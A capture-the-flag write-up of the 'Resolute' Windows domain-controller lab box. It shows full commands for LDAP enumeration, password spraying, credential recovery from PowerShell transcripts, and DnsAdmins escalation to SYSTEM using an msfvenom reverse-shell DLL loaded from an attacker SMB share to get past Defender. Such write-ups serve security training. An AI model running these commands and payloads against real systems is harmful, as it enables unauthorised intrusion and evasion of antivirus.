Resolute Write-Up


Contents

Intro


This was a really good box and involves what I would describe as a full chain box as it includes a user movement and a privilege escalation. Getting root involves a cool little trick for executing remote payloads that can come in useful on Windows boxes with Defender turned on!

User


Time for an Nmap scan:

[felixm@blackbear ~]$ nmap -sV -sC 10.10.10.169

PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2022-04-27 22:55:55Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h27m14s, deviation: 4h02m30s, median: 7m13s
| smb-security-mode: 
|   account_used: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-time: 
|   date: 2022-04-27T22:55:59
|_  start_date: 2022-04-27T16:20:09
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Resolute
|   NetBIOS computer name: RESOLUTE\x00
|   Domain name: megabank.local
|   Forest name: megabank.local
|   FQDN: Resolute.megabank.local
|_  System time: 2022-04-27T15:55:57-07:00

Just like a lot of similar boxes I've done recently this looks to be a domain controller as port 389 is open. I can also see "megabank.local" is the domain so I'll be adding this to my hosts file. We can start with the normal AD enumeration, LDAP can go first:

[felixm@blackbear ~]$ ./windapsearch.py -d resolute.megabank.local --dc-ip 10.10.10.169 -U --full                                1 тип
[+] No username provided. Will try anonymous bind.
[+] Using Domain Controller at: 10.10.10.169
[+] Getting defaultNamingContext from Root DSE
[+]     Found: DC=megabank,DC=local
[+] Attempting bind
[+]     ...success! Binded as: 
[+]      None

[+] Enumerating all AD users
[+]     Found 25 users: 

[...]

cn: Marko Novak
sn: Novak
description: Account created. Password set to Welcome123!
givenName: Marko
distinguishedName: CN=Marko Novak,OU=Employees,OU=MegaBank Users,DC=megabank,DC=local
displayName: Marko Novak
name: Marko Novak
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132140638345690606
primaryGroupID: 513
objectSid: AQUAAAAAAAUVAAAAaeAGU04VmrOsCGHWVwQAAA==
logonCount: 0
sAMAccountName: marko
userPrincipalName: marko@megabank.local
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=megabank,DC=local

[...]

[*] Bye!

Well, looks like we have a username and password. I tried using Evil-Winrm since port 5985 is open however this didn't work. I have the feeling this is a default password given to new users and it could be that other users may have this password set as most of the other users found using windapsearch.py have lastLogon: 0. I can try password spraying using crackmapexec to authenticate to SMB:

First I'll run rpcclient to collect the usernames:

[felixm@blackbear ~]$ rpcclient -U "" -N 10.10.10.169

rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[ryan] rid:[0x451]
user:[marko] rid:[0x457]
user:[sunita] rid:[0x19c9]
user:[abigail] rid:[0x19ca]
user:[marcus] rid:[0x19cb]
user:[sally] rid:[0x19cc]
user:[fred] rid:[0x19cd]
user:[angela] rid:[0x19ce]
user:[felicia] rid:[0x19cf]
user:[gustavo] rid:[0x19d0]
user:[ulf] rid:[0x19d1]
user:[stevie] rid:[0x19d2]
user:[claire] rid:[0x19d3]
user:[paulo] rid:[0x19d4]
user:[steve] rid:[0x19d5]
user:[annette] rid:[0x19d6]
user:[annika] rid:[0x19d7]
user:[per] rid:[0x19d8]
user:[claude] rid:[0x19d9]
user:[melanie] rid:[0x2775]
user:[zach] rid:[0x2776]
user:[simon] rid:[0x2777]
user:[naoki] rid:[0x2778]

I'll just clean this up in VSCode so it's one username per line and nothing else. Then I'll pass this into crackmapexec:

[felixm@blackbear ~]$ crackmapexec smb 10.10.10.169 -u users.txt -p 'Welcome123!' --continue-on-success

SMB         10.10.10.169    445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\Administrator:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\Guest:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\krbtgt:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\DefaultAccount:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\ryan:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\marko:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\sunita:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\abigail:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\marcus:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\sally:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\fred:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\angela:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\felicia:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\gustavo:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\ulf:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\stevie:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\claire:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\paulo:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\steve:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\annette:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\annika:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\per:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\claude:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [+] megabank.local\melanie:Welcome123! 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\zach:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\simon:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\naoki:Welcome123! STATUS_LOGON_FAILURE

It looks like we could authenticate to SMB using this password on the user "melanie" so let's try Evil-Winrm again!

[felixm@blackbear ~]$ evil-winrm -i 10.10.10.169 -u melanie -p Welcome123!

Evil-WinRM shell v3.3

*Evil-WinRM* PS C:\Users\melanie\Documents>

User 2


I started by checking all the usual whoami /all and checking what programs where installed as well as what was in the user folder and found nothing. I pulled down a copy of winpeas.bat and it showed nothing of interest. I decided to manually start digging around the file system using the flag -force to show hidden folder and files and found the following:

*Evil-WinRM* PS C:\> ls

Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        9/25/2019   6:19 AM                PerfLogs
d-r---        9/25/2019  12:39 PM                Program Files
d-----       11/20/2016   6:36 PM                Program Files (x86)
d-r---        12/4/2019   2:46 AM                Users
d-----        12/4/2019   5:15 AM                Windows

*Evil-WinRM* PS C:\> ls -force

Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d--hs-        12/3/2019   6:40 AM                $RECYCLE.BIN
d--hsl        9/25/2019  10:17 AM                Documents and Settings
d-----        9/25/2019   6:19 AM                PerfLogs
d-r---        9/25/2019  12:39 PM                Program Files
d-----       11/20/2016   6:36 PM                Program Files (x86)
d--h--        9/25/2019  10:48 AM                ProgramData
d--h--        12/3/2019   6:32 AM                PSTranscripts
d--hs-        9/25/2019  10:17 AM                Recovery
d--hs-        9/25/2019   6:25 AM                System Volume Information
d-r---        12/4/2019   2:46 AM                Users
d-----        12/4/2019   5:15 AM                Windows
-arhs-       11/20/2016   5:59 PM         389408 bootmgr
-a-hs-        7/16/2016   6:10 AM              1 BOOTNXT
-a-hs-       11/22/2022   1:53 PM      402653184 pagefile.sys

At first glance I nearly overlooked a folder called PSTranscripts which is not a normal hidden folder in the C drive. For those that don't know a Powershell Transcript is a recording of a Powershell session that saves all the run commands and their outputs (you can create one by running Start-transcript while in a Powershell session). Taking a look inside this folder we can find the following:

*Evil-WinRM* PS C:\PSTranscripts\20191203> type "C:/PSTranscripts/20191203/PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt"
**********************
Windows PowerShell transcript start
Start time: 20191203063201
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1

[...]

**********************
Command start time: 20191203063515
**********************
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!

if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"
>> CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="Stream"; value="True"
**********************

[...]

We can see a failed net use command that used a clear text password for a user called Ryan! We can now kill our current Evil-winrm session and attempt a new one with out new user and password combination:

[felixm@blackbear ~]$ evil-winrm -i 10.10.10.169 -u ryan -p Serv3r4Admin4cc123!

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\ryan\Documents>

Root


We can now look to privilege escalate. We can start with the usual checks which in my case begins with a whoami /all:

*Evil-WinRM* PS C:\Users\ryan\Documents> whoami /all

USER INFORMATION
----------------

User Name     SID
============= ==============================================
megabank\ryan S-1-5-21-1392959593-3013219662-3596683436-1105


GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                            Attributes
========================================== ================ ============================================== ===============================================================
Everyone                                   Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
MEGABANK\Contractors                       Group            S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins                         Alias            S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

I saw an interesting group alias called "DnsAdmins". A quick search online and the first result was a page called Windows Privilege Escalation: DnsAdmins to DomainAdmin which sounded like exactly what I wanted! From my understanding this privilege escalation works as follows:

As a member of the "DnsAdmins" group we have access to the program dnscmd.exe which gets executed as SYSTEM. We can get dnscmd.exe to execute user defined code by giving it a "serverlevelplugindll" which can be anything (in my case this will be a simple reverse shell). To exploit this I will start by creating a simple reverse shell dll payload using Msfvenom:

[felixm@blackbear ~]$ msfvenom --payload windows/x64/shell_reverse_tcp LHOST=10.10.14.13 LPORT=4444 -f dll -o exploit.dll

I transferred this dll and attempted to execute this exploit. Unfortunately I couldn't get a shell to return to me. Looking at the dll I dropped it showed it's size was zero bytes. I tried dropping it again and had the exact same issue. After a little investigation I ran process list and saw the following:

*Evil-WinRM* PS C:\Users\ryan\Documents> ps

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
	 39       4     1544       2452              3484   1 cmd
	110       9     5300      11224              3492   1 conhost
	257      12     1896       4156               372   0 csrss
	152      13     1524       6192               464   1 csrss
	345      31    13384      21940              1532   0 dfsrs
	130       8     1672       5372              1492   0 dfssvc
	213      13     3600      12396              2324   0 dllhost
   5311    3693    69104      68024              3336   0 dns
	  0       0        0          4                     0 Idle
	121      12     2000       5548              1956   0 ismserv
   2311     122    50616      63588               592   0 lsass
	522      42    56204      72072              1948   0 Microsoft.ActiveDirectory.WebServices
	132       9     2112       7752              2932   0 MpCmdRun
	190      13     2796       9796              2508   0 msdtc
	474      61   145740     122332              1976   0 MsMpEng
	276      11     3628       9076               584   0 services
	 98       7     1684       7396              3688   0 svchost
	749       0      124        144                 4   0 System
	163      12     1764       9208              3352   1 taskhostw
	194      16     2292      10660              2288   0 vds
	146      11     3040       9964              1160   0 VGAuthService
	326      21     9164      22524              1224   0 vmtoolsd
	171      15     3384      12988              3640   1 vmtoolsd
	 92       8      908       4864               456   0 wininit
	188      10     1876       9056               532   1 winlogon
	284      15     7672      16008              2448   0 WmiPrvSE
	495      28    50396      67276       0.78   3772   0 wsmprovhost

Now it all makes sense: id 1976 is MsMpEng which is the Microsoft Malware Protection Engine. It looks like Windows Defender is grabbing our payload! Now we could try and write something ourselves which could slip past Defender however we don't need to do anything so extreme. Since this is Windows we can create an SMB sever a point dnscmd.exe to the remote payload. On our machine we can spin up an SMB server using Impacket:

[felixm@blackbear ~]$ sudo python3 smbserver.py share
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

We can then perform the exploit on our target:

*Evil-WinRM* PS C:\Users\ryan\Documents> cmd /c dnscmd localhost /config /serverlevelplugindll \\10.10.14.13\share\exploit.dll
Registry property serverlevelplugindll successfully reset.
Command completed successfully.

*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe stop dns
SERVICE_NAME: dns
	TYPE               : 10  WIN32_OWN_PROCESS
	STATE              : 3  STOP_PENDING
							(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
	WIN32_EXIT_CODE    : 0  (0x0)
	SERVICE_EXIT_CODE  : 0  (0x0)
	CHECKPOINT         : 0x0
	WAIT_HINT          : 0x0

*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe start dns
SERVICE_NAME: dns
	TYPE               : 10  WIN32_OWN_PROCESS
	STATE              : 2  START_PENDING
							(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
	WIN32_EXIT_CODE    : 0  (0x0)
	SERVICE_EXIT_CODE  : 0  (0x0)
	CHECKPOINT         : 0x0
	WAIT_HINT          : 0x7d0
	PID                : 2820
	FLAGS              :

If we check our Netcat listener we should now see a shell!

[felixm@blackbear ~]$ nc -lvnp 4444

Connection from 10.10.10.169:54223
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

Notes


As per the usual I've learned something new this box! Thinking outside the box is critical. When my payload was returning a length of 0 I had a hunch that this was a Windows Defender issue but coming up with an idea as to how I can get my payload past this took a while and a little hint from the forum. Now that I think about it, it's really obvious but I will remeber this next time In find myself in a situation like this.